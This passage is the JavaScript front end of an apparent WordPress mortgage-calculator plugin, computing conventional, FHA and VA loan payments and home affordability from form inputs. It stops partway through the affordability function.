/home/bonphmya/geldmarkplaatz.com/wp-contentccc/plugins/mortgage-calculators-wp/assets/js/wpmc.js
var $mcwp = jQuery.noConflict();
$mcwp(function($) {

    $(document).on('click', '.mcwp-submit', function(e) {
        //$('.wpmc-submit').on('click',function(e) {
        e.preventDefault();

        var forma = $(this).closest('form');
        var serializaFrom = $(forma).serializeArray();
        var post_data = {};
        $.each($(forma).serializeArray(), function() {
            post_data[this.name] = this.value;
        });
        currentFormEmail = $('input[type="email"]', forma).val();
        if (!validateEmail(currentFormEmail)) {
            alert('Your Email is not valid!');
            return false;
        }

        $.post(mcwp_ajax.ajaxurl, post_data, function(response) {
            alert(mcwp_ajax.calc_res);
        });

    });

    function validateEmail(email) {
        var re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
        return re.test(String(email).toLowerCase());
    }

    $(".ex1").bootstrapSlider();

    function addCommas(intNum) {
        val = intNum;
        var parts = val.toString().split(".");
        parts[0] = parts[0].replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        return parts.join(".");
    }

    function removeco(val) {
        /*replace string replace to global string replace function to global replacement*/
        /*return val.replace(',','');	*/
        return val.replace(/,/g, "");
    }
    /****************************************************************************************************************************************
    Conventional Calculator
    **************************************************************************************************************************************/
    /*
    if ($('#inp_purchase_price').val()) {
    };
    */
    $('form.mcalc-conventional').each(function() {

        var $parent = $(this);
        //mortgage_calc(purchase_price, down_payment, interest_rate, mortgage_term, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
        var purchase_price = removeco($("#inp_purchase_price", $parent).val());
        var down_payment_percent = $(".down_payment_scrl", $parent).val();
        var down_payment = (purchase_price * down_payment_percent) / 100;
        var interest_rate = $(".interest_rate_scrl", $parent).val();
        var mortgage_term = $("#mortgage_term_yr", $parent).val();
        var annual_tax_percent = $(".annual_tax_scrl", $parent).val();
        var annual_tax = (purchase_price * annual_tax_percent) / 100;
        var monthly_tax = (annual_tax / 12);
        var monthly_insurance = ($("#annual_insurance_inp", $parent).val() / 12);
        var monthly_hoa = $("#monthly_hoa_inp", $parent).val();
        $("#down_payment_inp", $parent).val(addCommas(down_payment));
        $("#annual_tax_inp", $parent).val(addCommas(annual_tax));
        mortgage_calc($parent);

        $parent.find('#mortgage_term_yr').on('change', function(event) {
            //$(document).on('change', '#mortgage_term_yr', function () {
            //purchase * down payment
            if (this.value == 15) {
                mortgage_term_yr = .0045
            } else {
                mortgage_term_yr = .0085
            }
            //mortgage_calc(purchase_price, down_payment, interest_rate, this.value, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
            mortgage_calc($parent);
        });

        //mortgage_calc($parent);
        $parent.find('#monthly_hoa_inp').on('keyup', function(event) {
            //hideShowLayer(markerLayer);
            monthly_hoa = $(this).val() == "" ? 0 : $(this).val();
            $(this).val(function(index, value) {
                return value
                    .replace(/\D/g, "")
                    .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            });
            //mortgage_calc(purchase_price, down_payment, interest_rate, mortgage_term, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
            mortgage_calc($parent);
        });

        $parent.find(".ex1").on("change", function(slideEvt) {
            if ($(this).hasClass("down_payment_scrl")) {
                down_payment_percent = slideEvt.value.newValue;
                $(this).next("p").text(roundOff(down_payment_percent) + "%");
                down_payment = (purchase_price * down_payment_percent) / 100;
                $("#down_payment_inp", $parent).val(addCommas(down_payment));
                //mortgage_calc(purchase_price, down_payment, interest_rate, mortgage_term, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
            }
            if ($(this).hasClass("annual_tax_scrl")) {
                annual_tax_percent = slideEvt.value.newValue;
                $(this).next("p").text(annual_tax_percent + "%");
                annual_tax = (purchase_price * annual_tax_percent) / 100;
                monthly_tax = (annual_tax / 12);
                $("#annual_tax_inp", $parent).val(addCommas(roundOff(annual_tax)));
                //mortgage_calc(purchase_price, down_payment, interest_rate, mortgage_term, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
            }
            if ($(this).hasClass("interest_rate_scrl")) {
                interest_rate = slideEvt.value.newValue;
                $(this).next("p").text(interest_rate) + "%";
                //mortgage_calc(purchase_price, down_payment, interest_rate, mortgage_term, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
            }
            mortgage_calc($parent);
        });

        $parent.find("#inp_purchase_price").keyup(function() {
            purchase_price = $(this).val() == "" ? 0 : $(this).val();
            purchase_price = removeco(purchase_price);
            down_payment = (purchase_price * down_payment_percent) / 100;
            $("#down_payment_inp", $parent).val(addCommas(down_payment));
            $(this).val(purchase_price);
            $(this).val(function(index, value) {
                return value
                    .replace(/\D/g, "")
                    .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            });
            mortgage_calc($parent);
        });

        $parent.find("#down_payment_inp").keyup(function() {
            down_payment = removeco($(this).val()) == "" ? 0 : removeco($(this).val());
            down_payment_percent = (down_payment / purchase_price) * 100;
            $(".down_payment_scrl", $parent).bootstrapSlider('setValue', down_payment_percent).next("p").text(roundOff(down_payment_percent) + "%");
            $(this).val(function(index, value) {
                return value
                    .replace(/\D/g, "")
                    .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            });
            mortgage_calc($parent);
        });

        $parent.find("#annual_tax_inp").keyup(function() {
            annual_tax = $(this).val() == "" ? 0 : removeco($(this).val());
            annual_tax_percent = (annual_tax / purchase_price) * 100;
            $(".annual_tax_scrl", $parent).bootstrapSlider('setValue', annual_tax_percent).next("p").text(roundOff(annual_tax_percent) + "%");
            $(this).val(function(index, value) {
                return value
                    .replace(/\D/g, "")
                    .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            });
            $("#annual_tax_inp", $parent).val(addCommas(annual_tax));
            monthly_tax = (annual_tax / 12);
            mortgage_calc($parent);
        });
        $parent.find("#annual_insurance_inp").keyup(function() {
            monthly_insurance = $(this).val() == "" ? 0 : (removeco($(this).val()) / 12);
            $(this).val(function(index, value) {
                return value
                    .replace(/\D/g, "")
                    .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            });
            mortgage_calc($parent);
        });


    });
    //function mortgage_calc(price, down, rate, term, tax, insurance, hoa) {
    function mortgage_calc($parent) {
        price = removeco($("#inp_purchase_price", $parent).val());
        down_payment_percent = $(".down_payment_scrl", $parent).val();
        down = (price * down_payment_percent) / 100;
        rate = $(".interest_rate_scrl", $parent).val();
        term = $("#mortgage_term_yr", $parent).val();
        //annual_tax_percent = $(".annual_tax_scrl", $parent).val();
        annual_tax_percentNew = $(".annual_tax_scrl", $parent).next("p").text();
        annual_tax_percentNew = annual_tax_percentNew.replace("%", "");
        annual_tax = (price * annual_tax_percentNew) / 100;
        tax = (annual_tax / 12);
        insurance = removeco($("#annual_insurance_inp", $parent).val()) / 12;
        hoa = removeco($("#monthly_hoa_inp").val()) == "" ? 0 : removeco($("#monthly_hoa_inp", $parent).val())
        var n = parseInt(term) * 12;
        var c = parseFloat(rate) / 1200;
        var L = parseInt(price) - parseFloat(down);
        var p = Math.round((L * (c * Math.pow(1 + c, n))) / (Math.pow(1 + c, n) - 1));
        var emmp = parseFloat(p) + parseFloat(tax) + parseFloat(insurance) + parseFloat(hoa);
        changethis = roundOff(emmp, 2);
        $("#emmp_div_span", $parent).text(addCommas(roundOff(emmp, 2)));
        $("#pi_div_span", $parent).text(addCommas(p));
        $("#mtax_div_span", $parent).text(addCommas(roundOff(tax, 2)));
        $("#minsure_div_span", $parent).text(addCommas(roundOff(insurance, 2)));
        $("#hoa_div_span", $parent).text(addCommas(hoa));

        $(".emmp_div_span", $parent).val(addCommas(roundOff(emmp, 2)));
        $(".pi_div_span", $parent).val(addCommas(p));
        $(".mtax_div_span", $parent).val(addCommas(roundOff(tax, 2)));
        $(".minsure_div_span", $parent).val(addCommas(roundOff(insurance, 2)));
        $(".hoa_div_span", $parent).val(addCommas(hoa));
        //$("#down_payment_inp", $parent).val(addCommas(down));
        //$("#annual_tax_inp", $parent).val(addCommas(annual_tax));
    }
    /****************************************************************************************************************************************
    FHA Calculator
    **************************************************************************************************************************************/

    if ($('#fha_inp_purchase_price').val()) {
        var fha_purchase_price = removeco($("#fha_inp_purchase_price").val());
        var fha_down_payment_percent = $(".fha_down_payment_scrl").val();
        var fha_down_payment = (fha_purchase_price * fha_down_payment_percent) / 100;
        var fha_interest_rate = $(".fha_interest_rate_scrl").val();
        var fha_mortgage_term = $("#fha_mortgage_term_yr").val();
        var fha_annual_tax_percent = $(".fha_annual_tax_scrl").val();
        var fha_annual_tax = (fha_purchase_price * fha_annual_tax_percent) / 100;
        var fha_monthly_tax = (fha_annual_tax / 12);
        var fha_monthly_insurance = ($("#fha_annual_insurance_inp").val() / 12);
        var monthly_mortgage_insurance = ($("#fha_mmi_div_span").val() / 200);
        var fha_monthly_hoa = $("#fha_monthly_hoa_inp").val();
        $("#fha_down_payment_inp").val(addCommas(fha_down_payment));
        $("#fha_annual_tax_inp").val(addCommas(fha_annual_tax));
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    };
    $(document).on('change', '#fha_mortgage_term_yr', function() {
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, this.value, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    });
    $(".ex1").on("change", function(slideEvt) {
        if ($(this).hasClass("fha_down_payment_scrl")) {
            fha_down_payment_percent = slideEvt.value.newValue;
            $(this).next("p").text(roundOff(fha_down_payment_percent) + "%");
            fha_down_payment = (fha_purchase_price * fha_down_payment_percent) / 100;
            $("#fha_down_payment_inp").val(addCommas(fha_down_payment));
            fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
        }
        if ($(this).hasClass("fha_annual_tax_scrl")) {
            fha_annual_tax_percent = slideEvt.value.newValue;
            $(this).next("p").text(fha_annual_tax_percent + "%");
            fha_annual_tax = (fha_purchase_price * fha_annual_tax_percent) / 100;
            fha_monthly_tax = (fha_annual_tax / 12);
            $("#fha_annual_tax_inp").val(addCommas(roundOff(fha_annual_tax)));
            fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa, 'no');
        }
        if ($(this).hasClass("fha_interest_rate_scrl")) {
            fha_interest_rate = slideEvt.value.newValue;
            $(this).next("p").text(fha_interest_rate) + "%";
            fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
        }
    });
    $("#fha_inp_purchase_price").keyup(function() {
        fha_down_payment_percent = Number($(".fha_down_payment_scrl").val());
        fha_purchase_price = $(this).val() == "" ? 0 : removeco($(this).val());
        fha_down_payment = (fha_purchase_price * fha_down_payment_percent) / 100;
        fha_down_payment = fha_down_payment;
        $("#fha_down_payment_inp").val(addCommas(fha_down_payment));
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    });
    $("#fha_down_payment_inp").keyup(function() {
        fha_down_payment = $(this).val() == "" ? 0 : removeco($(this).val());
        fha_down_payment = parseInt(fha_down_payment);
        fha_down_payment_percent = (fha_down_payment / fha_purchase_price) * 100;
        $(".fha_down_payment_scrl").bootstrapSlider('setValue', fha_down_payment_percent).next("p").text(roundOff(fha_down_payment_percent) + "%");
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    });
    $("#fha_annual_tax_inp").keyup(function() {
        fha_annual_tax = $(this).val() == "" ? 0 : removeco($(this).val());
        fha_annual_tax = Number(fha_annual_tax);
        fha_annual_tax = roundOff(fha_annual_tax);
        fha_annual_tax_percent = (fha_annual_tax / fha_purchase_price) * 100;
        $(".fha_annual_tax_scrl").bootstrapSlider('setValue', fha_annual_tax_percent).next("p").text(roundOff(fha_annual_tax_percent) + "%");
        $(this).val(function(index, value) {
            newval = value.replace(/\D/g, "").replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            return newval;
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
        fha_monthly_tax = (fha_annual_tax / 12);
        $(".mtchange").empty();
        $(".mtchange").empty().text(addCommas(roundOff(fha_monthly_tax, 2)));
    });
    $("#fha_annual_insurance_inp").keyup(function() {
        fha_monthly_insurance = $(this).val() == "" ? 0 : ($(this).val() / 12);
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    });
    $("#fha_mmi_div_span").keyup(function() {
        monthly_mortgage_insurance = $(this).val() == "" ? 0 : ($(this).val() / 0);
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, monthly_mortgage_insurance, fha_monthly_hoa);
    });
    $("#fha_monthly_hoa_inp").keyup(function() {
        fha_monthly_hoa = $(this).val() == "" ? 0 : $(this).val();
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    });

    function fha_mortgage_calc(price, down, rate, term, tax, tax_prcnt, insurance, hoa, show) {

        price = removeco($("#fha_inp_purchase_price").val());
        fha_down_payment_percent = $(".fha_down_payment_scrl").val();
        down = (price * fha_down_payment_percent) / 100;
        rate = $(".fha_interest_rate_scrl").val();
        term = $("#fha_mortgage_term_yr").val();

        //tax_prcnt = $(".fha_annual_tax_scrl").val();
        //fha_annual_tax = (price * tax_prcnt)/100;
        //tax = (fha_annual_tax/12);

        insurance = removeco($("#fha_annual_insurance_inp").val()) / 12;
        //monthly_mortgage_insurance = ($("#fha_mmi_div_span").val()/200);
        hoa = removeco($("#fha_monthly_hoa_inp").val()) == "" ? 0 : removeco($("#fha_monthly_hoa_inp").val());

        var n = parseInt(term) * 12;
        var c = parseFloat(rate) / 1200;
        var L = parseInt(price) - parseFloat(down);
        var p = Math.round((L * (c * Math.pow(1 + c, n))) / (Math.pow(1 + c, n) - 1));
        //var arr = {PI:p, EMMP:parseInt(p)+parseInt(tax)+parseInt(insurance)+parseInt(hoa)};
        if (term == 15) {
            tax_prcnt = 0.45;
        } else if (term == 30) {
            tax_prcnt = 0.85;
        }
        var mmi = Math.round(((parseInt(L) + parseInt(L * (rate / 100))) * (tax_prcnt / 100)) / 12);
        var emmp = parseFloat(p) + parseFloat(tax) + parseFloat(insurance) + parseFloat(hoa) + parseFloat(mmi);
        $("#fha_emmp_div_span").text(addCommas(roundOff(emmp, 2)));
        $("#fha_pi_div_span").text(addCommas(p));
        $("#fha_mtax_div_span").text(addCommas(roundOff(tax, 2)));
        $("#fha_minsure_div_span").text(addCommas(roundOff(insurance, 2)));
        if (show != 'no') {
            $("#fha_mmi_div_span").text(addCommas(mmi));
        }
        $("#fha_hoa_div_span").text(addCommas(hoa));


        $(".fha_emmp_div_span").val(addCommas(roundOff(emmp, 2)));
        $(".fha_pi_div_span").val(addCommas(p));
        $(".fha_mtax_div_span").val(addCommas(roundOff(tax, 2)));
        $(".fha_minsure_div_span").val(addCommas(roundOff(insurance, 2)));
        if (show != 'no') {
            $(".fha_mmi_div_span").val(addCommas(mmi));
        }
        $(".fha_hoa_div_span").val(addCommas(hoa));



    }
    /****************************************************************************************************************************************
    VA Calculator
    **************************************************************************************************************************************/
    if ($('#va_inp_purchase_price').val()) {
        var va_purchase_price = $("#va_inp_purchase_price").val();
        va_purchase_price = removeco(va_purchase_price);
        var va_down_payment_percent = $(".va_down_payment_scrl").val();
        var va_down_payment = (va_purchase_price * va_down_payment_percent) / 100;
        var va_interest_rate = $(".va_interest_rate_scrl").val();
        var va_mortgage_term = $("#va_mortgage_term_yr").val();
        var va_annual_tax_percent = $(".va_annual_tax_scrl").val();
        var va_annual_tax = (va_purchase_price * va_annual_tax_percent) / 100;
        var va_monthly_tax = (va_annual_tax / 12);
        var va_monthly_insurance = (removeco($("#va_annual_insurance_inp").val()) / 12);
        var va_monthly_hoa = $("#va_monthly_hoa_inp").val();
        $("#va_down_payment_inp").val(addCommas(va_down_payment));
        $("#va_annual_tax_inp").val(addCommas(va_annual_tax));
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    };
    $(document).on('change', '#va_mortgage_term_yr', function() {
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, this.value, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });
    $(".ex1").on("change", function(slideEvt) {
        if ($(this).hasClass("va_down_payment_scrl")) {
            va_down_payment_percent = slideEvt.value.newValue;
            $(this).next("p").text(va_down_payment_percent + "%");
            va_down_payment = (va_purchase_price * va_down_payment_percent) / 100;
            $("#va_down_payment_inp").val(addCommas(va_down_payment));
            va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
        }
        if ($(this).hasClass("va_annual_tax_scrl")) {
            va_annual_tax_percent = slideEvt.value.newValue;
            $(this).next("p").text(roundOff(va_annual_tax_percent) + "%");
            va_annual_tax = (va_purchase_price * va_annual_tax_percent) / 100;
            va_monthly_tax = (va_annual_tax / 12);
            $("#va_annual_tax_inp").val(addCommas(roundOff(va_annual_tax)));
            va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
        }
        if ($(this).hasClass("va_interest_rate_scrl")) {
            va_interest_rate = slideEvt.value.newValue;
            $(this).next("p").text(va_interest_rate) + "%";
            va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
        }
    });

    $("#va_inp_purchase_price").keyup(function() {
        va_purchase_price = $(this).val() == "" ? 0 : $(this).val();
        va_purchase_price = removeco(va_purchase_price);
        va_down_payment = (va_purchase_price * va_down_payment_percent) / 100;
        $("#va_down_payment_inp").val(addCommas(va_down_payment));
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });
    $("#va_down_payment_inp").keyup(function() {
        va_down_payment = $(this).val() == "" ? 0 : $(this).val();
        va_down_payment = removeco(va_down_payment);
        va_down_payment_percent = (va_down_payment / va_purchase_price) * 100;
        $(".va_down_payment_scrl").bootstrapSlider('setValue', va_down_payment_percent).next("p").text(roundOff(va_down_payment_percent) + "%");
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });



    $("#va_annual_tax_inp").keyup(function() {
        va_annual_tax = $(this).val() == "" ? 0 : $(this).val();
        va_annual_tax = removeco(va_annual_tax);
        va_annual_tax_percent = (va_annual_tax / va_purchase_price) * 100;
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        va_monthly_tax = (va_annual_tax / 12);
        $(".va_annual_tax_scrl").bootstrapSlider('setValue', va_annual_tax_percent).next("p").text(roundOff(va_annual_tax_percent) + "%");
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });
    $("#va_annual_insurance_inp").keyup(function() {
        va_monthly_insurance = $(this).val() == "" ? 0 : (removeco($(this).val()) / 12);
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "").replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);

    });
    $("#va_monthly_hoa_inp").keyup(function() {
        va_monthly_hoa = $(this).val() == "" ? 0 : $(this).val();
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "").replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);

    });
    $(document).on('change', '#va_service_type', function() {
        va_monthly_insurance = (removeco($("#va_annual_insurance_inp").val()) / 12);
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });
    $(document).on('change', '#va_frist_time', function() {
        va_monthly_insurance = (removeco($("#va_annual_insurance_inp").val()) / 12);
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });


    function va_mortgage_calc(price, down, rate, term, tax, down_prcnt, insurance, hoa) {

        var va_purchase_price = $("#va_inp_purchase_price").val();
        price = removeco(va_purchase_price);

        va_down_payment_percent = $(".va_down_payment_scrl").val();
        down = (price * va_down_payment_percent) / 100;

        rate = $(".va_interest_rate_scrl").val();
        term = $("#va_mortgage_term_yr").val();
        a_annual_tax_percent = $(".va_annual_tax_scrl").val();
        va_annual_tax = (price * va_annual_tax_percent) / 100;
        tax = (va_annual_tax / 12);
        insurance = (removeco($("#va_annual_insurance_inp").val()) / 12);
        hoa = removeco($("#va_monthly_hoa_inp").val()) == "" ? 0 : removeco($("#va_monthly_hoa_inp").val());

        //console.warn("purchase_price "+purchase_price+", down_payment "+down_payment+", interest_rate "+interest_rate+", mortgage_term "+mortgage_term)
        //e_rate = 0;
        //console.log(down_prcnt);
        if ($("#va_frist_time").val() == "yes") {
            if ($("#va_service_type").val() == "regular_military") {
                if (down_prcnt == 0) {
                    e_rate = 2.15;
                }
                if (down_prcnt >= 5 && down_prcnt < 10) {
                    e_rate = 1.50;
                }
                if (down_prcnt >= 10) {
                    e_rate = 1.25;
                }
            }
            if ($("#va_service_type").val() == "reserves_national") {
                if (down_prcnt == 0) {
                    e_rate = 2.4;
                }
                if (down_prcnt >= 5 && down_prcnt < 10) {
                    e_rate = 1.75;
                }
                if (down_prcnt >= 10) {
                    e_rate = 1.5;
                }
            }
        } else if ($("#va_frist_time").val() == "no") {
            if ($("#va_service_type").val() == "regular_military") {
                if (down_prcnt == 0) {
                    e_rate = 3.3;
                }
                if (down_prcnt >= 5 && down_prcnt < 10) {
                    e_rate = 1.50;
                }
                if (down_prcnt >= 10) {
                    e_rate = 1.25;
                }
            }
            if ($("#va_service_type").val() == "reserves_national") {
                if (down_prcnt == 0) {
                    e_rate = 3.3;
                }
                if (down_prcnt >= 5 && down_prcnt < 10) {
                    e_rate = 1.75;
                }
                if (down_prcnt >= 10) {
                    e_rate = 1.5;
                }
            }
        }
        //price, down, rate, term, tax, down_prcnt, insurance, hoa
        var n = parseInt(term) * 12;
        var c = parseFloat(rate) / 1200;
        var L = parseInt(price) - parseFloat(down);
        var p = Math.round((L * (c * Math.pow(1 + c, n))) / (Math.pow(1 + c, n) - 1));
        var vaff = Math.round((L * e_rate) / 18000);
        //var arr = {PI:p, EMMP:parseInt(p)+parseInt(tax)+parseInt(insurance)+parseInt(hoa)};
        var emmp = parseFloat(p) + parseFloat(tax) + parseFloat(insurance) + parseFloat(hoa) + parseFloat(vaff);
        $("#va_emmp_div_span").text(addCommas(roundOff(emmp, 2)));
        $("#va_pi_div_span").text(addCommas(p));
        $("#va_mtax_div_span").text(addCommas(roundOff(tax, 2)));
        $("#va_minsure_div_span").text(addCommas(roundOff(insurance, 2)));
        $("#va_hoa_div_span").text(addCommas(hoa));
        //$("#va_funding_fee_div_span").text(addCommas(hoa));
        $("#va_purchase_p_span").text(addCommas(price));
        $("#va_funding_fee_p_span").html(addCommas((L * e_rate) / 100));
        va_funding_fee_p_span = removeco($("#va_funding_fee_p_span").text());
        va_funding_fee_p_span = Number(va_funding_fee_p_span);
        //(Purchase Price - Down Payment) + VA Funding Fee
        va_purchase_price = removeco($("#va_inp_purchase_price").val());
        va_purchase_price = Number(va_purchase_price);
        va_down_payment_percent = $(".va_down_payment_scrl").val();
        va_down_payment_percent = Number(va_down_payment_percent);
        va_down_payment = (va_purchase_price * va_down_payment_percent) / 100;
        va_amount_finance_p_span = (va_purchase_price - va_down_payment) + va_funding_fee_p_span;
        $("#va_amount_finance_p_span").html(addCommas(roundOff(Number(va_amount_finance_p_span))));

        $(".va_emmp_div_span").val($("#va_emmp_div_span").text());
        $(".va_pi_div_span").val($("#va_pi_div_span").text());
        $(".va_mtax_div_span").val($("#va_mtax_div_span").text());
        $(".va_minsure_div_span").val($("#va_minsure_div_span").text());
        $(".va_hoa_div_span").val($("#va_hoa_div_span").text());
        //$("#va_funding_fee_div_span").val($("#va_funding_fee_div_span").text());.text());
        //$(".va_purchase_p_span").val($("#va_purchase_p_span").text());
        $(".va_funding_fee_p_span").val($("#va_funding_fee_p_span").text());
        $(".va_amount_finance_p_span").val($("#va_amount_finance_p_span").text());
        //$("#va_amount_finance_p_span").html(addCommas(parseInt(L)+((L*e_rate)/100)));
    }

    function roundOff(number, precision) {
        num = number;
        return num.toFixed(2);
    }
    /****************************************************************************************************************************************
    Home Affordability Calculator
    **************************************************************************************************************************************/
    function mha_mortgage_calc() {
        var mha_annual_income = removeco($("#mha_annual_income").val());
        $("#mha_annual_income").val(addCommas(mha_annual_income));
        var mha_interest_rate = removeco($("#mha_interest_rate").val());
        $("#mha_interest_rate").val(addCommas(mha_interest_rate));
        var mha_monthly_debts = removeco($("#mha_monthly_debts").val());
        $("#mha_monthly_debts").val(addCommas(mha_monthly_debts));

        var mha_estimated_annual_home_insurance = removeco($("#mha_estimated_annual_home_insurance").val());
        $("#mha_estimated_annual_home_insurance").val(addCommas(mha_estimated_annual_home_insurance));
        var mha_estimated_annual_property_taxes = removeco($("#mha_estimated_annual_property_taxes").val());
        $("#mha_estimated_annual_property_taxes").val(addCommas(mha_estimated_annual_property_taxes));
        var mha_down_payment = removeco($("#mha_down_payment").val());
        $("#mha_down_payment").val(addCommas(mha_down_payment));
        var mha_loan_term = removeco($("#mha_loan_term").val());
        $("#mha_loan_term").val(addCommas(mha_loan_term));
        if (mha_loan_term == "") {
            mha_loan_term = 30;
        }

        if (mha_annual_income != "" && mha_interest_rate != "") {
            var minimum_monthly_debts = ((mha_annual_income * 8) / 100) / 12;
            if (mha_monthly_debts == '' || mha_monthly_debts < minimum_monthly_debts) {
                var mha_est_monthly_payment = ((mha_annual_income / 12) * 0.40) - minimum_monthly_debts;

                if (mha_estimated_annual_property_taxes != '') {
                    var mha_taxes = mha_estimated_annual_property_taxes / 12;
                } else {
                    var mha_taxes = 0;
                }
                if (mha_estimated_annual_home_insurance != '') {
                    var mha_insurance = mha_estimated_annual_home_insurance / 12;
                } else {
                    var mha_insurance = 0;
                }
                var mha_P_I = mha_est_monthly_payment - (mha_taxes + mha_insurance);

                var aaaaa = (mha_interest_rate / 100 / 12);
                var mpowerdata = Math.pow((1 + (mha_interest_rate / 100 / 12)), (-mha_loan_term * 12));
                var bbbbb = (1 - (mpowerdata));
                var ab = bbbbb / aaaaa;

                if (ab < 0) {
                    var temp = ab * mha_P_I;
                    var ab_total = temp - parseInt(mha_down_payment);
                } else {
                    var temp = ab * mha_P_I;
                    var ab_total = temp + parseInt(mha_down_payment);
                }
                if (ab_total <= 0) {
                    $("#mha_afford_house_div_span").html('0');
                } else {
                    $("#mha_afford_house_div_span").html(Number(Math.round(ab_total)).toLocaleString('en'));
                }
                if (mha_est_monthly_payment <= 0) {
                    $("#mha_emmp_div_span").html('0');
                } else {
                    $("#mha_emmp_div_span").html(Number(Math.round(mha_est_monthly_payment)).toLocaleString('en'));
                }
                if (mha_P_I <= 0) {
